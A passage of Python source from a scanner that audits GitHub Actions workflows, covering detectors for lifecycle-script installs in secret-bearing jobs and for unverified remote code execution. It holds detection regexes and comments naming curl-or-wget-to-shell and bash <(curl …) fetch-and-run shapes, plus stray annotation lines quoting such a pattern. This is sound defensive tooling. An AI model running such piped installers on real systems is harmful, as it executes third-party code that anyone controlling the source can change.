- whose install was disabled by a step further down.
- """
- lines = text.splitlines()
- shell_lines = _run_scalar_line_numbers(text)
- start, end = job_range if job_range else (1, len(lines))
- writes: list[tuple[int, bool, str]] = []
- for idx in range(max(start, 1), min(end, len(lines)) + 1):
- if idx not in shell_lines:
- continue
- raw = lines[idx - 1]
- for whole in _pipeline_command_segments(_COMMENT_TAIL_RE.sub("", raw)):
- # `NOTE="pnpm config set allowBuilds=false"` stores a string; it
- # runs nothing. Leading `VAR=value` assignments are stripped, and a
- # segment that is ONLY assignments is not a command at all.
- seg = _command_after_assignments(whole)
- if not seg.strip():
- logger.debug(
- "P14.25: line %d assigns allowlist-shaped text but runs "
- "no command — not a mitigation: %s", idx, raw.strip(),
- )
- continue
- if not _ALLOWLIST_KEY_RE.search(seg):
- continue
- if not _writes_the_build_allowlist(seg):
- logger.debug(
- "P14.25: line %d mentions a build allowlist but does not "
- "write it — not a mitigation: %s", idx, raw.strip(),
- )
- continue
- if _INERT_PRINT_RE.match(seg.strip()):
- # `echo "yq '.allowBuilds[]=false' -i pnpm-workspace.yaml"`
- # prints a mitigation instead of running one, and the quoted
- # `-i` would otherwise satisfy the write test.
- logger.debug(
- "P14.25: line %d only PRINTS an allowlist mutation — not "
- "a mitigation: %s", idx, raw.strip(),
- )
- continue
- # A write that is not a disable re-opens the allowlist.
- writes.append(
- (idx, bool(_ALLOWLIST_DISABLE_RE.search(seg)), raw.strip())
- )
- return writes
- def _builds_disabled_at(
- writes: list[tuple[int, bool, str]], install_line: int,
- concurrent: Callable[[int, int], bool] | None = None,
- ) -> str | None:
- """The verbatim line that leaves builds disabled at `install_line`, if the
- LAST allowlist write above it is a disable.
- A write in a step that may run at the same time as the install (see
- `_StepTiming`) is not known to land before it: it never counts as the
- protecting write, and if it re-enables builds the install is exposed."""
- def _racing(w: tuple[int, bool, str]) -> bool:
- return concurrent is not None and concurrent(w[0], install_line)
- if any(_racing(w) and not w[1] for w in writes):
- return None
- prior = [w for w in writes if w[0] < install_line and not _racing(w)]
- if prior and prior[-1][1]:
- return prior[-1][2]
- return None
- _SHELL_SEGMENT_RE = re.compile(r"(?:;|&&|\|\||&(?!&))")
- # Single quotes take no escapes in shell; double quotes do, so a `\"` inside
- # one must not end the span — otherwise the rest of the string is treated as
- # bare shell and a quoted `;` becomes a command boundary again.
- _QUOTED_RUN_RE = re.compile(r"'[^']*'|\"(?:\\.|[^\"\\])*\"")
- # A leading `VAR=value` (optionally `export`ed). Shell runs the command AFTER
- # these; a segment made only of them runs nothing at all.
- _LEADING_ASSIGNMENT_RE = re.compile(
- r"^\s*(?:export\s+)?[A-Za-z_][A-Za-z0-9_]*="
- r"(?:'[^']*'|\"(?:\\.|[^\"\\])*\"|\S*)\s*"
- )
- def _command_after_assignments(segment: str) -> str:
- """`FOO=1 BAR="x" yq …` → `yq …`; `NOTE="…"` → `` (it runs nothing)."""
- prev = None
- out = segment
- while out != prev:
- prev = out
- out = _LEADING_ASSIGNMENT_RE.sub("", out, count=1)
- return out
- def _pipeline_command_segments(line: str) -> list[str]:
- """One shell line split into the commands it actually runs.
- A bare `|` is NOT a separator here: a pipeline is one logical command, and
- `echo 'allowBuilds: false' | tee -a pnpm-workspace.yaml` really does write
- the file. (The P14.25 install detector wants the opposite — see
- `_install_command_segments` — which is why these are two named functions.)
- Quote-aware, because splitting blind cuts BOTH ways: `echo "note; pnpm
- config set allowBuilds=false"` is one `echo` of inert text, but a naive
- split on `;` manufactures a second "command" that satisfies every
- mitigation test and silences the install below it. Separators are located
- on a copy with quoted spans masked, then the ORIGINAL text is sliced at
- those offsets so each segment keeps its real content.
- """
- masked = _QUOTED_RUN_RE.sub(lambda m: "x" * len(m.group(0)), line)
- out, prev = [], 0
- for m in _SHELL_SEGMENT_RE.finditer(masked):
- out.append(line[prev:m.start()])
- prev = m.end()
- out.append(line[prev:])
- return [s for s in out if s.strip()]
- def _manager_condition_note(
- manager: str | None,
- command: str, # every `run:` scalar in the job, joined
- pin: tuple[str, int, str] | None,
- allowlist: str | None,
- ) -> str:
- """The per-manager sentence: under what condition do scripts actually run?
- Per-manager because the single npm-v12 caveat rendered on `pnpm` and `yarn`
- findings too, where it contradicted itself — three QA batches flagged the
- same self-contradiction.
- """
- if manager == "npm":
- # Bounded on the left so `pnpm@10` is not read as `npm@10`.
- pinned = re.search(r"(?<![\w.-])npm@[\^~]?(\d+)", command)
- if pinned:
- version = (
- f"this job installs npm {pinned.group(1)} explicitly, and that "
- f"major still runs them"
- )
- elif pin and pin[0] == "npm":
- version = (
- f"this repo pins `npm@{pin[2]}` via `packageManager`, and that "
- f"major "
- + ("does not run them by default" if pin[1] >= 12
- else "still runs them")
- )
- else:
- version = (
- "the npm major your runner resolves is not visible in this "
- "YAML, so confirm it before treating this as closed"
- )
- return (
- "npm runs dependency `preinstall`/`install`/`postinstall` scripts "
- "by default through npm 11; npm v12 (announced 2026-06-09, shipped "
- f"2026-07-08) turns them off by default — {version}."
- )
- if manager == "pnpm":
- base = (
- "pnpm 9 and earlier run dependency lifecycle scripts by default; "
- "pnpm 10 and later block them unless the package is allow-listed "
- "in `onlyBuiltDependencies` / `allowBuilds`"
- )
- signals: list[str] = []
- if pin and pin[0] == "pnpm":
- signals.append(
- f"this repo pins `pnpm@{pin[2]}` via `packageManager`")
- if allowlist == "permissive":
- signals.append(
- "and its committed allowlist still permits at least one "
- "package to build, so scripts run for those"
- )
- elif allowlist == "restrictive":
- signals.append(
- "and its committed allowlist permits nothing to build — but a "
- "committed file is not the file at install time, so confirm no "
- "step rewrites it"
- )
- if signals:
- return base + " — " + " ".join(signals) + "."
- return (
- base + " — which major your runner resolves is not visible in this "
- "YAML, so confirm it before treating this as closed."
- )
- if manager == "yarn":
- if pin and pin[0] == "yarn":
- era = (
- "Classic, which runs them" if pin[1] < 2
- else "Berry, where the `enableScripts` setting governs them"
- )
- return (
- "Yarn Classic (1.x) runs dependency lifecycle scripts by "
- "default; Yarn Berry (2+) is governed by its `enableScripts` "
- f"setting — this repo pins `yarn@{pin[2]}` via "
- f"`packageManager`, i.e. {era}."
- )
- return (
- "Yarn Classic (1.x) runs dependency lifecycle scripts by default; "
- "Yarn Berry (2+) is governed by its `enableScripts` setting — "
- "which line your runner resolves is not visible in this YAML, so "
- "confirm it before treating this as closed."
- )
- return ( # pragma: no cover - defensive
- "whether the install runs dependency lifecycle scripts depends on the "
- "package manager version and configuration your runner resolves."
- )
- def _job_run_texts(job: Any) -> list[str]:
- return [s["run"] for s in _job_steps(job) if isinstance(s.get("run"), str)]
- def _correlation_install_scripts_in_privileged_job(
- file_path: Path,
- ) -> Iterator[RawHit]:
- """P14.25 — a dependency install that runs lifecycle scripts, in a job that
- holds secrets or a write-scoped token.
- Two conditions in ONE job: (1) a `run:` step invokes a package-manager
- install that executes `preinstall`/`install`/`postinstall` scripts —
- matched WITHOUT `--ignore-scripts`; (2) that job carries a live payoff —
- any `secrets.*` reference beyond `github.token`, `secrets: inherit`, or a
- write scope effective for the job. Either alone is not a finding: an
- install with nothing to steal hands the attacker nothing, and a
- credential-bearing job that never installs untrusted code is a different
- (non-)vector. One hit per qualifying job.
- The install leg is a DEPENDENCY-TREE install only — a global tool bootstrap
- (`npm i -g corepack@0.31`) or a named single-package install is excluded;
- see `_is_dependency_tree_install`.
- Which manager version a runner resolves is NOT knowable from workflow YAML,
- so this detector does not quietly stand down on the platform defaults — it
- fires and the derived note names the per-manager condition. Silently not
- firing on an unverifiable assumption is the false-negative shape the NEVER
- rules ban. It DOES stand down on hard, in-job evidence of disablement; see
- the mitigation-signal comment above `_repo_root_for_workflow`.
- """
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- ranges = {name: (start, end) for name, start, end in job_line_ranges(file_path)}
- root = _repo_root_for_workflow(file_path)
- pin = _package_manager_pin(root)
- allowlist = _pnpm_build_allowlist(root)
- for job_name, job in _walk_jobs(doc):
- runs = _job_run_texts(job)
- if not any(_scalar_has_unprotected_install(r) for r in runs):
- continue
- secrets = _job_secret_refs(job, doc)
- writes = _job_effective_write_scopes(doc, job)
- if not secrets and not writes:
- continue
- candidates = _install_lines(text, ranges.get(job_name))
- found = candidates[0] if candidates else None
- if found is None:
- # The parsed scalar matched but no raw line did (a folded scalar).
- # Reported as a coverage gap rather than dropped silently.
- _DROPPED_MATCHES.append({
- "kind": _KIND_UNANCHORED,
- "file": str(file_path),
- "reason": (
- f"P14.25: jobs.{job_name} runs a script-executing install "
- f"but the command line could not be located in the raw "
- f"file (folded scalar?) — this match is NOT reported"
- ),
- })
- continue
- line, raw, command = found
- manager = _install_manager(command)
- # HARD evidence of disablement — an in-job step that empties the build
- # allowlist before the install, on a repo that pins pnpm >= 10 (where
- # that allowlist is the mechanism). No finding at all; asserting one
- # here would be a false positive against the repo's own mitigation.
- if manager == "pnpm" and pin and pin[0] == "pnpm" and pin[1] >= 10:
- allowlist_writes = _allowlist_writes(text, ranges.get(job_name))
- spans = _step_spans(text)
- # Mitigation is decided PER INSTALL, by the last allowlist write
- # above it — a job can turn builds off, install, put them back and
- # install again. Report the first install that is exposed, so the
- # evidence quotes a command the reader can actually act on; if
- # every install in the job is covered, there is no finding.
- # …and only for pnpm installs: the pnpm build allowlist says
- # nothing about an `npm ci` or `yarn install` in the same job.
- exposed = next(
- (c for c in candidates
- if _install_manager(c[2]) != "pnpm"
- or _builds_disabled_at(
- allowlist_writes, c[0],
- lambda a, b: _lines_concurrent(spans, a, b)) is None),
- None,
- )
- if exposed is None:
- logger.debug(
- "P14.25: %s jobs.%s disables dependency builds before "
- "every install on a pnpm>=10 pin — not a finding",
- file_path, job_name,
- )
- continue
- line, raw, command = exposed
- manager = _install_manager(command)
- payoff_parts = []
- if secrets:
- payoff_parts.append(
- "the job's environment carries secret(s) "
- + ", ".join(f"`{s}`" for s in secrets[:5])
- + (" …" if len(secrets) > 5 else "")
- )
- if writes:
- payoff_parts.append(
- "the job holds write scope(s) "
- + ", ".join(f"`{w}`" for w in sorted(writes))
- )
- yield RawHit(
- line=line,
- evidence=f"{line:>4}: {raw} <-- here",
- match_text=raw.strip(),
- derived_note=(
- f"jobs.{job_name} runs this dependency-tree install where "
- f"lifecycle scripts execute UNLESS the package manager's "
- f"version or configuration disables them, and "
- + " and ".join(payoff_parts)
- + " — so a compromised dependency's install script executes "
- "holding them. "
- + _manager_condition_note(
- manager, "\n".join(runs), pin, allowlist,
- )
- ),
- )
- # --- P14.24: unverified remote code execution --------------------------------
- #
- # ONE vector, two shapes, because they are the same trust model: the job runs
- # code that a third party can change between now and the next run.
- #
- # 1. the piped installer — `curl … | bash`, `bash <(curl …)`, `deno run <url>`
- Note: Runs a downloaded script through process substitution (bash <(curl …))
- Line 3,507 on GitHub
- # 2. a MUTABLE git fetch executed out of — `git clone` / `git fetch` at a
- # branch, tag, HEAD, or an abbreviated sha, followed by running a file
- # from the fetched tree
- #
- # Shape 1 stays exactly where it was: the regex below is handed to the shared
- # `detect_yaml_run_injection` walker, so its matching, line attribution and
- # evidence are the code that was already shipping. It lives here rather than in
- # the catalog's METADATA because one entry carries one detector, and this entry
- # now needs two arms.
- #
- # A fetch pinned to a FULL 40-hex commit is IMMUTABLE and is never a finding —
- # that is the same trust model this catalog recommends for action pins, and
- # reporting it would tell a reader to fix what they already did right. A short
- # sha is not a pin: git re-resolves an abbreviated id at fetch time.
- _REMOTE_PIPE_TO_SHELL = (
- r"(?:(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:bash|sh)\b"
- r"|\b(?:bash|sh)\s+<\(\s*(?:curl|wget)\b"
- r"|\bdeno\s+run\b[^\n]*https?://)"
- )
- _FULL_SHA_RE = re.compile(r"^[0-9a-fA-F]{40}$")
- _ABBREV_SHA_RE = re.compile(r"^[0-9a-fA-F]{7,39}$")
- # `git clone` options that consume a separate VALUE argument. Getting this set
- # wrong would make an option's value look like the clone's URL or destination,
- # and the destination is what the whole connection test rests on.
- #
- # Options whose value is only ever ATTACHED (`--recurse-submodules=<pathspec>`,
- # `--also-filter-submodules`) must stay OUT: listed here they would eat the
- # following argument, shifting the URL, the destination and the ref by one and
- # leaving the correlation chasing a directory that does not exist.
- _CLONE_VALUE_OPTS = {
- "-b", "--branch", "--revision", "--depth", "-o", "--origin", "-u",
- "--upload-pack", "--reference", "--reference-if-able",
- "--separate-git-dir", "--template", "-c", "--config", "-j", "--jobs",
- "--filter", "--shallow-since", "--shallow-exclude", "--server-option",
- "--bundle-uri",
- }
- # Interpreters that run a FILE named on their command line. `-m` is excluded
- # where it appears (a module name is not a path), except for the pip form
- # handled separately below.
- _INTERPRETERS = {
- "python", "python2", "python3", "node", "nodejs", "bash", "sh", "zsh",
- "ksh", "ruby", "perl", "php", "pwsh", "powershell",
- }
- # An interpreter reads its program from the command line (`-c`, `-e`, and the
- # perl one-liner combinations) or from stdin (`-`), rather than from a file
- # named as an argument. `-m` names a module, which is not a path either.
- _INLINE_SCRIPT_FLAGS = {
- "-c", "-m", "-e", "-E", "-", "-pe", "-ne", "-p", "-n", "-ape", "-lpe",
- "--eval", "--exec",
- }
- _SOURCE_CMDS = {"source", "."}
- # `pip install` options that consume a separate VALUE. Every one of these takes
- # a path or a name that pip reads or writes — never code pip executes.
- _PIP_VALUE_OPTS = {
- "-r", "--requirement", "-t", "--target", "-c", "--constraint",
- "-i", "--index-url", "--extra-index-url", "-f", "--find-links",
- "--prefix", "--root", "--src", "--upgrade-strategy", "--no-binary",
- "--only-binary", "--platform", "--python-version", "--implementation",
- "--abi", "--cache-dir", "--log", "--proxy", "--retries", "--timeout",
- "--exists-action", "--cert", "--client-cert", "--report", "--config-settings",
- }
- _LEADING_WRAPPERS = {"sudo", "command", "exec", "time", "nohup", "env"}
- _ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
- # Prefix for a directory whose real path is not knowable from the YAML. It
- # cannot collide with any real path, so paths under it match each other and
- # nothing else.
- _OPAQUE_DIR = "\x00wd:"
- # Expressions collapse to ONE TOKEN EACH, not one token for all of them. A
- # shared `$EXPR` made `${{ env.DIR_A }}` and `${{ env.DIR_B }}` the same
- # directory, so a clone into one paired with an execution from the other — a
- # chain the reader cannot find in their own YAML. Tokens are stable per
- # expression TEXT, so the same expression written twice is one place, which is
- # exactly as knowable as a named one.
- _EXPR_TOKEN_TEXT: dict[str, str] = {}
- _EXPR_TEXT_TOKEN: dict[str, str] = {}
- def _expression_token(text: str) -> str:
- """A shlex-safe stand-in for `${{ … }}`, stable per expression text."""
- key = " ".join(text.split())
- token = _EXPR_TEXT_TOKEN.get(key)
- if token is None:
- # DELIMITED with the same NUL sentinel the opaque directories use.
- # An undelimited `$EXPR0` followed by a literal digit — `${{ env.DIR }}2`
- # — read back as `$EXPR02`, the lookup missed, and the scanner's own
- # token reached the report. NUL cannot appear in YAML, so nothing a
- # workflow contains can collide with it or be mistaken for it.
- token = f"$EXPR{len(_EXPR_TEXT_TOKEN)}\x00"
- _EXPR_TEXT_TOKEN[key] = token
- _EXPR_TOKEN_TEXT[token] = key
- return token
- _EXPR_TOKEN_RENDER_RE = re.compile(r"\$EXPR\d+\x00")
- def _reset_expression_tokens() -> None:
- """Clear the per-scan token registry.
- Module-level and never reset, it let one workflow's expression text render
- inside another's finding, with which text leaked depending on file order.
- """
- _EXPR_TEXT_TOKEN.clear()
- _EXPR_TOKEN_TEXT.clear()
- def _as_written(path: str) -> str:
- """`path` with every scanner-internal stand-in put back as the YAML wrote it.
- Nothing that reaches a reader may contain these. The opaque-directory
- sentinel is a NUL byte, and it escaped into `derived_note`, findings.json
- and the rendered markdown — the reader was shown a raw control character
- where their own directory belonged.
- """
- shown = path.replace(_OPAQUE_DIR, "")
- return _EXPR_TOKEN_RENDER_RE.sub(
- lambda m: _EXPR_TOKEN_TEXT.get(m.group(0), m.group(0)), shown)
- # Does unreadable shell mention either half of the chain — a fetch, or something
- # that executes? If not, failing to read it costs this detector nothing.
- _CHAIN_RELEVANT_RE = re.compile(
- # Command NAMES that fetch or execute…
- r"\b(?:git|cd|source|pip|pip3|python[0-9.]*|node|nodejs|bash|sh|zsh|ksh"
- r"|ruby|perl|php|pwsh|powershell)\b"
- # …a GitHub CLI extension install (the third shape)…
- r"|\bgh\s+(?:extensions?|ext)\s"
- # …and the shape of an execution that names no command at all: a PATH
- # invoked directly (`tools/setup.py --msg=…`). Without this arm a visible
- # clone followed by an unparseable `tools/setup.py` produced zero findings
- # AND zero gaps — a silent false clean on exactly the chain this vector
- # exists to catch.
- r"|(?:^|[;&|])\s*\.{0,2}/?[\w.@-]+/[\w./@-]+"
- # …and a sourced path, which needs no extension and no command name:
- # `. tools/env` is an execution the alternation above cannot see.
- r"|(?:^|[;&|])\s*(?:\.|source)\s+\S*/")
- _UNPARSED_CD_RE = re.compile(r"(?:^|[;&|]\s*)\s*cd\s")
- # A whole `${{ … }}` expression. The runner substitutes it before the shell
- # sees it, so it is ONE word — see `_shell_tokens`.
- _EXPRESSION_TOKEN_RE = re.compile(r"\$\{\{.*?\}\}", re.S)
- # `$( … )` — a command substitution. Its body is a command whose OUTPUT becomes
- # a word; the words inside it are not this command's arguments. Left expanded,
- # `FILE=$(ls tools/x.sql)` had its assignment prefix stripped and the `ls`
- # arguments read as the command, so a path `ls` merely listed was reported as
- # executed. Process substitution `<( … )` is deliberately untouched: the piped
- # installer arm matches `bash <(curl …)` on the raw text.
- Note: Runs a downloaded script through process substitution (bash <(curl …))
- Line 3,653 on GitHub
- _COMMAND_SUBSTITUTION_RE = re.compile(r"\$\((?:[^()]|\([^()]*\))*\)", re.S)
- def _shell_tokens(segment: str) -> list[str]:
- """`segment` split the way a shell would, or `[]` when it cannot be.
- A segment carrying an unbalanced quote or a construct `shlex` refuses is
- returned as no tokens at all: this detector only ever ADDS a finding when
- it can see both halves of the chain, so an unparsable command simply
- contributes nothing rather than being guessed at.
- `${{ github.repository }}` collapses to a token that KEEPS its identity,
- because it is the one expression whose value the scanner knows: it is the
- repository being scanned, which is what makes a clone of it a self-clone.
- Every other `${{ … }}` expression is collapsed to its OWN opaque token FIRST — one per
- distinct expression text, never one shared by all of them. The runner
- substitutes it before the shell ever sees it, so it is a single word; split
- on its spaces it becomes three, every positional after it shifts, and the
- clone's destination gets read out of the expression's insides. That is not
- a missing destination but a WRONG one — and a wrong one is what a correct
- 40-hex pin on the real directory would then fail to match.
- """
- try:
- collapsed = _SELF_REPO_EXPRESSION_RE.sub(_SELF_REPO_TOKEN, segment)
- collapsed = _EXPRESSION_TOKEN_RE.sub(
- lambda m: _expression_token(m.group(0)), collapsed)
- return shlex.split(_COMMAND_SUBSTITUTION_RE.sub("$SUBST", collapsed),
- comments=False, posix=True)
- except ValueError:
- return []
- def _strip_command_prefix(tokens: list[str]) -> list[str]:
- """Drop leading `VAR=value` assignments and command wrappers (`sudo`, …)."""
- i = 0
- while i < len(tokens) and (
- _ASSIGNMENT_RE.match(tokens[i]) or tokens[i] in _LEADING_WRAPPERS
- ):
- i += 1
- return tokens[i:]
- # Runner variables that are ABSOLUTE by GitHub's contract. Joining them onto a
- # step's `working-directory:` put them inside a checkout they have nothing to do
- # with — a `vale` binary downloaded from its own release page and sha-verified
- # was reported as executing "from" a docs checkout on a real repository.
- _RUNNER_ABSOLUTE_RE = re.compile(
- r"^\$\{?(?:GITHUB_WORKSPACE|HOME|RUNNER_TEMP|RUNNER_WORKSPACE"
- r"|RUNNER_TOOL_CACHE|GITHUB_ACTION_PATH)\}?/")
- def _resolve_path(cwd: str, path: str) -> str:
- """`path` as seen from `cwd`, normalized. Absolute paths pass through."""
- if path.startswith("/") or _RUNNER_ABSOLUTE_RE.match(path):
- return os.path.normpath(path)
- return os.path.normpath(os.path.join(cwd, path))
- # A path whose FIRST component is a shell variable (`$FOO/x`, `${FOO}/x`) whose
- # value this scanner cannot know. Joining it onto the working directory is a
- # guess: the variable could hold an absolute path that escapes the fetched tree
- # entirely, so resolving it relative to a third-party checkout and firing was a
- # false positive. The runner-absolute variables (`$GITHUB_WORKSPACE/…` etc.)
- # are excluded — GitHub's contract makes them absolute, so `_resolve_path`
- # already places them, correctly, outside any relative destination. The
- # scanner's own stand-ins are excluded too: a `${{ }}` expression collapses to a
- # NUL-delimited `$EXPR<n>` token, `${{ github.repository }}` to `$SELF_REPO`,
- # and a `$(…)` substitution to `$SUBST`.
- _LEADING_SHELL_VAR_RE = re.compile(r"^\$\{?[A-Za-z_][A-Za-z0-9_]*\}?(?:/|$)")
- def _leading_unresolved_var(path: str) -> bool:
- if "\x00" in path or _RUNNER_ABSOLUTE_RE.match(path):
- return False
- if path.startswith(_SELF_REPO_TOKEN) or path.startswith("$SUBST"):
- return False
- return bool(_LEADING_SHELL_VAR_RE.match(path))
- def _under(dest: str, path: str) -> bool:
- """Is `path` inside the fetched destination `dest`?
- `dest == "."` is the whole working tree (what a `git fetch` +
- `git checkout FETCH_HEAD` replaces), so every relative path is inside it;
- an absolute path never is.
- """
- if dest == ".":
- return not path.startswith("/")
- return path == dest or path.startswith(dest + "/")
- def _clone_destination(url: str, dest: str | None) -> str | None:
- """The directory a `git clone` writes into, or None when it is not visible.
- With no explicit destination git derives one from the URL's last path
- segment — knowable only when the URL is a literal. A URL held in a shell
- variable (`"$TOOLS_REPO_URL"`) leaves the destination unknowable, and this
- detector reports nothing it cannot show: no destination means no visible
- connection to whatever executes later.
- """
- if dest:
- return dest
- if not url or "$" in url:
- return None
- base = url.rstrip("/").rsplit("/", 1)[-1].rsplit(":", 1)[-1]
- if base.endswith(".git"):
- base = base[: -len(".git")]
- return base or None
- @dataclass(frozen=True)
- class _RemoteFetch:
- """A fetch of third-party code into a directory this job can execute."""
- line: int
- raw: str
- dest: str
- ref: str | None # None = the remote's default branch (HEAD)
- # Position in the job's command stream. Ordering is the finding's whole
- # claim — the fetch put the code there BEFORE it ran — and a line number
- # cannot carry it: `python3 tools/setup.py && git clone … tools` has both
- # halves on one line, in the wrong order.
- pos: int
- # For the YAML arm: the repository `actions/checkout` was pointed at. None
- # for a shell fetch, whose evidence line already shows the URL.
- source: str | None = None
- def _ref_description(ref: str | None) -> str:
- if ref is None:
- return "the remote's default branch (HEAD)"
- if _ABBREV_SHA_RE.match(ref):
- # Reads mid-sentence ("fetches remote code at <this> into `tools`"), so
- # it stays a NOUN PHRASE — a trailing clause here produced a sentence
- # that ran on through the rest of the finding.
- return f"`{ref}` (an ABBREVIATED commit id git re-resolves at fetch time)"
- # `_as_written`: a `${{ }}` ref is held as an internal stand-in token, and
- # that token reached the reader's finding text verbatim.
- return f"`{_as_written(ref)}`"
- def _git_subcommand(tokens: list[str]) -> tuple[str | None, str | None, list[str]]:
- """(subcommand, `-C` directory, remaining args) for a `git …` invocation."""
- i, gdir = 1, None
- while i < len(tokens):
- tok = tokens[i]
- if tok == "-C" and i + 1 < len(tokens):
- gdir = tokens[i + 1]
- i += 2
- continue
- if tok in ("-c", "--namespace", "--git-dir", "--work-tree") and i + 1 < len(tokens):
- i += 2
- continue
- if tok.startswith("-"):
- i += 1
- continue
- return tok, gdir, tokens[i + 1:]
- return None, gdir, []
- def _parse_clone(args: list[str]) -> tuple[str | None, str | None, str | None]:
- """(url, destination-as-written, ref) from `git clone`'s arguments."""
- ref: str | None = None
- positionals: list[str] = []
- i = 0
- while i < len(args):
- tok = args[i]
- if tok.startswith("--") and "=" in tok:
- name, _, value = tok.partition("=")
- if name in ("--branch", "--revision"):
- ref = value
- i += 1
- continue
- if tok in _CLONE_VALUE_OPTS:
- if i + 1 < len(args):
- if tok in ("-b", "--branch", "--revision"):
- ref = args[i + 1]
- i += 2
- continue
- i += 1
- continue
- if tok.startswith("-"):
- i += 1
- continue
- positionals.append(tok)
- i += 1
- url = positionals[0] if positionals else None
- dest = positionals[1] if len(positionals) > 1 else None
- return url, dest, ref
- # `github.com/<owner>/<repo>`, in any of the spellings a workflow writes it:
- # the https form, git's scp-like `user@host:owner/repo.git` form, and the
- # authenticated form that carries a token in the URL's userinfo (which the
- # `[/:]` and optional-userinfo handling below both cover).
- _GITHUB_SLUG_RE = re.compile(
- r"github\.com[/:]([A-Za-z0-9._-]+)/([A-Za-z0-9._-]+?)(?:\.git)?(?:[/?#]|$)")
- _SELF_REPO_EXPRESSION_RE = re.compile(r"\$\{\{\s*github\.repository\s*\}\}")
- # Survives expression collapsing in `_shell_tokens` so the clone arm can still
- # see that the URL named the scanned repository.
- _SELF_REPO_TOKEN = "$SELF_REPO"
- # The self-repository expression (or its collapsed token) as the ENTIRE
- # `owner/repo` path segment of a URL — `github.com/${{ github.repository }}` and
- # nothing appended to it.
- _SELF_REPO_SLUG_RE = re.compile(
- r"[/@]"
- r"(?:\$\{\{\s*github\.repository\s*\}\}|\$SELF_REPO"
- # The environment-variable spelling is exactly as self-identifying as the
- # expression, and the guard already honours the expression.
- r"|\$GITHUB_REPOSITORY\b|\$\{GITHUB_REPOSITORY\})"
- r"(?:\.git)?(?:[/?#]|$)")
- @lru_cache(maxsize=64)
- def _origin_slug(root: str) -> str | None:
- """`owner/repo` for the checkout at `root`, from `.git/config`, or None.
- Read straight out of the config file rather than by running `git`: this is
- a per-workflow-file question on a scan that already refuses to shell out
- for anything, and a scan of an exported tree with no `.git` simply gets
- None and reports as before.
- """
- try:
- text = (Path(root) / ".git" / "config").read_text(
- encoding="utf-8", errors="strict")
- except (OSError, UnicodeDecodeError):
- return None
- section = None
- for line in text.splitlines():
- stripped = line.strip()
- if stripped.startswith("["):
- section = stripped
- continue
- if section != '[remote "origin"]' or "=" not in stripped:
- continue
- key, _, value = stripped.partition("=")
- if key.strip() != "url":
- continue
- match = _GITHUB_SLUG_RE.search(value.strip())
- return f"{match.group(1)}/{match.group(2)}" if match else None
- return None
- def _is_self_clone(url: str, file_path: Path) -> bool:
- """Does this URL name the repository being scanned?
- Cloning your own repository at a branch is not this vector: no third party
- is involved, and the fix — pin to a full commit id — is unactionable for a
- release workflow that must run at the branch head. On a 2,920-file corpus
- this shape was 3 of the detector's 15 fires, all one repository's release
- workflows. The `git fetch` arm already refuses the repo's own history via
- its named-remote rule; the `clone` arm had no equivalent.
- """
- if not url:
- return False
- # `${{ github.repository }}` IS the scanned repository — but only when it
- # is the WHOLE `owner/repo` part of the URL. Searching for it anywhere let
- # `…/evil/${{ github.repository }}-mirror` — a stranger's URL that merely
- # embeds yours — read as your own and go silent, and this guard exists to
- # suppress findings, so a loose match suppresses real ones.
- if _SELF_REPO_SLUG_RE.search(url):
- return True
- match = _GITHUB_SLUG_RE.search(url)
- if not match:
- return False
- # `.github/workflows/<file>` — the scanned checkout is two levels up.
- parents = file_path.resolve().parents
- if len(parents) < 3:
- return False
- slug = _origin_slug(str(parents[2]))
- cloned = f"{match.group(1)}/{match.group(2)}"
- return slug is not None and slug.lower() == cloned.lower()
- def _is_remote_url(token: str) -> bool:
- """A `git fetch` remote that names a THIRD PARTY rather than this repo.
- `git fetch origin main` pulls the repository's own history — the code is
- already the repo's, so it is not this vector. A URL (or a variable holding
- one) is the shape that reaches somebody else's server.
- """
- return "://" in token or "@" in token or "$" in token
- def _executed_path(tokens: list[str]) -> str | None:
- """The path this command EXECUTES, as written, or None.
- Deliberately narrow — an interpreter running a named file, a sourced
- script, a `pip install` of a directory, or a path invoked directly. A
- command that merely reads the tree (`ls`, `cat`, `grep`) is not execution
- and must not be treated as it.
- """
- if not tokens:
- return None
- cmd = tokens[0]
- rest = tokens[1:]
- if cmd in _SOURCE_CMDS:
- return rest[0] if rest and not rest[0].startswith("-") else None
- if cmd in ("pip", "pip3") or (
- cmd in _INTERPRETERS and rest[:2] == ["-m", "pip"]
- ):
- args = rest[2:] if rest[:2] == ["-m", "pip"] else rest
- if "install" not in args:
- return None
- skip_next = False
- for i, tok in enumerate(args):
- if skip_next:
- skip_next = False
- continue
- if tok == "-e" and i + 1 < len(args):
- return args[i + 1] # editable install: it runs setup.py
- if tok in _PIP_VALUE_OPTS:
- # A flag's VALUE is not a positional. `--target tools/deps`
- # names a destination pip writes into and `-r reqs.txt` names a
- # file pip READS; reporting either as "executes" asserts
- # something pip does not do.
- skip_next = True
- continue
- if tok.startswith("-") or tok == "install":
- continue
- if tok.startswith("./") or tok.startswith("../") or "/" in tok:
- return tok
- return None
- if cmd in _INTERPRETERS:
- return _interpreter_executed_path(cmd, rest)
- if "/" in cmd and not cmd.startswith("-"):
- return cmd
- return None
- # Which flags mean "the program is on the command line" depends on the
- # INTERPRETER, and only the flags BEFORE the first operand are the
- # interpreter's at all.
- #
- # A flat whitelist scanned over every argument leaked in both directions.
- # `-e`/`-E`/`-p`/`-n` are ordinary shell and Python options, so
- # `bash -e tools/install.sh` and `bash tools/install.sh -n` — where the flag
- # belongs to the FETCHED SCRIPT — became silent false cleans on exactly the
- # chain this vector catches. Meanwhile spellings the list did not carry
- # (`bash -lc`, `perl -lane`, `php -r`, `pwsh -Command`) still rendered the
- # program text as "the executed path".
- _INLINE_LETTER_FLAGS = {
- # A single-dash cluster containing one of these letters carries the program.
- "perl": set("ce"), "ruby": set("ce"), "node": set("ep"), "nodejs": set("ep"),
- "php": set("r"), "python": set("c"), "python2": set("c"), "python3": set("c"),
- "bash": set("c"), "sh": set("c"), "zsh": set("c"), "ksh": set("c"),
- }
- # Long forms, and the PowerShells, which do not use single-letter clusters.
- _INLINE_LONG_FLAGS = {
- "--eval", "--exec", "--command", "-command", "-encodedcommand", "-c",
- }
- # Options that consume a separate VALUE which is not the program — python's
- # warning filter. Case matters: python's `-W` takes a value, perl's `-w` is a
- # boolean, and conflating them ate the script path after it.
- _INTERPRETER_VALUE_OPTS = {"-W"}
